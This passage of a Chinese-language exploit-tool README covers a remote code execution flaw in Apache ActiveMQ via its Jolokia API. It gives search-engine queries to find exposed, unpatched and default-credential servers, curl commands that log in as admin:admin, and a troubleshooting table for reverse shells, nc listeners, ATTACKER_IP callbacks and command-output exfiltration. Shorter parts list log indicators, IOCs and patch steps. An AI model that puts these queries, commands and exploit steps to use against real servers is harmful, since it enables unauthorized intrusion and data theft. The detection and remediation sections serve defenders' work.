http.title:"Apache ActiveMQ" -http.html:"5.19.4" -http.html:"6.2.3" port:8161  # Exclude patched

快速 LeakIX 查询```

+software:"Apache ActiveMQ" +port:"8161" # All exposed +banner:"jolokia" +banner:"ActiveMQ" # Jolokia exposed +software:"Apache ActiveMQ" +tag:"default-password" # Default creds

root@kitploit:~
### 目标验证```bash
# Check version via Jolokia (single target)
curl -s -u admin:admin "http://TARGET:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/BrokerVersion"

# Mass version scan (recommended)
python version_check.py -T targets.txt

[!TIP] 请参阅 docs/ 中的完整指南,了解特定版本的 dork、地理过滤器、API 示例、IDS 规则以及分步验证工作流。


检测

日志指标```log

INFO | Establishing network connection from vm://localhost to vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml WARN | Could not connect to remote URI: vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml

root@kitploit:~
> **注意:** `rce*` 部分将包含随机字符(例如 `rcek4m2x9ab`),因为该漏洞利用程序会随机化连接器名称。

### IOCs(入侵指标)

| 指标 | 描述 |
|-----------|-------------|
| 向 `/api/jolokia/` 发送带有 `addNetworkConnector` 的 POST 请求 | 漏洞利用尝试 |
| ActiveMQ 进程发起出站 HTTP GET 请求 | 下载 Payload XML |
| ActiveMQ 进程发起出站 HTTP POST 请求(命令输出外传) | 输出捕获回调 |
| 带有 `brokerConfig=xbean:http` 的 `vm://` URI | 恶意连接器 |
| Java/ActiveMQ 产生意外子进程(`curl`、`wget`、`bash`) | 命令执行 / 输出外传 |

---

## 修复措施

| 优先级 | 操作 |
|----------|--------|
| **P0** | 升级至 ActiveMQ Classic **5.19.4** 或 **6.2.3** |
| **P1** | 更改 Web 控制台的默认凭据 |
| **P2** | 限制对端口 **8161** 的网络访问 |
| **P3** | 监控代理日志中带有 `xbean:http` 模式的 `vm://` URI |

---

## 故障排查

| 问题 | 可能原因 | 解决方案 |
|---------|-------------|----------|
| `15 秒内未收到 Payload 请求` | 目标无法访问你的 ATTACKER_IP | 验证连通性(参见 [ATTACKER_IP 指南](#understanding-attacker_ip---lhost)) |
| `身份验证失败(401)` | 凭据错误 | 尝试 `--no-auth`(ActiveMQ 6.0.0-6.1.1)或查找正确的凭据 |
| `访问被禁止(403)` | Jolokia API 受限 | 目标可能对 `/api/jolokia/` 设置了 ACL——无法远程利用 |
| `连接错误` / `无法连接` | 目标已关闭或端口错误 | 验证 `http://TARGET:8161/` 是否可访问 |
| `Jolokia 状态=500:无法在 JMX 中注册` | 之前的漏洞利用连接器仍处于注册状态 | 该漏洞利用程序会自动使用新的随机名称重试;请再次尝试 |
| 反弹 Shell 无法回连 | `-l` 中的 IP 与 Shell 命令中的 IP 不同,或端口未监听 | 确保所有位置使用相同 IP;在利用前先启动 `nc -lvnp PORT` |
| `10 秒内未收到输出` | 目标缺少 `curl` 和 `wget`,或命令无标准输出 | RCE 仍然生效——使用反弹 Shell 进行完整交互 |
| 输出捕获显示空结果 | 命令未产生输出(例如 `touch /tmp/test`) | 对于无标准输出的命令属正常现象;使用 `ls /tmp/test` 进行验证 |
| 端口 8888 上出现 `OSError: Address already in use` | 其他进程或之前的运行占用了该端口 | 使用 `-lp 9999`(或任意空闲端口),或终止占用进程 |
| `version_check.py` 第 1 阶段运行缓慢 | 线程数过少或网络延迟较高 | 增加 `--threads 20` 或 `--threads 30` |
| `version_check.py` 显示 `[VULNERABLE]` 但第 2 阶段失败 | 目标无法访问你的 IP,或防火墙阻止出站 HTTP | 验证 ATTACKER_IP;对于慢速网络可尝试 `--wait 30` |
| `version_check.py` 对所有目标均显示 `No Jolokia` | Jolokia API 已禁用或位于非标准路径 | 使用 `curl -u admin:admin http://TARGET:8161/api/jolokia/` 手动验证 |

---

## 参考资料

| 资源 | 链接 |
|----------|------|
| NVD | [CVE-2026-34197](https://nvd.nist.gov/vuln/detail/CVE-2026-34197) |
| Horizon3 Research | [技术分析](https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/) |
| Apache 公告 | [安全公告](https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt) |
| 相关 CVE | [CVE-2024-32114 — Jolokia 无认证](https://nvd.nist.gov/vuln/detail/CVE-2024-32114) |
| 相关 CVE | [CVE-2023-46604 — OpenWire RCE](https://nvd.nist.gov/vuln/detail/CVE-2023-46604) |

---

## 免责声明

> [!WARNING]
> 此概念验证**严格用于教育和经授权的安全研究目的**。未经授权对你不拥有或未获得明确测试许可的系统使用此工具是**非法的**。作者对滥用行为不承担任何责任。

---

<p align="center">
  <a href="https://github.com/KONDORDEVSECURITYCORP">
    <img src="https://img.shields.io/badge/GitHub-KONDORDEVSECURITYCORP-181717?style=for-the-badge&amp;logo=github" alt="GitHub"/>
  </a>
  <a href="https://t.me/KONDORDEVSECURITY">
    <img src="https://img.shields.io/badge/Telegram-KONDORDEVSECURITY-26A5E4?style=for-the-badge&amp;logo=telegram&amp;logoColor=white" alt="Telegram"/>
  </a>
</p>

<p align="center">
  <sub>由 <b>KONDOR DEV SECURITY CORP</b> 专业开发</sub><br>
  <sub>MIT 许可证 &copy; 2026</sub>
</p>
下载工具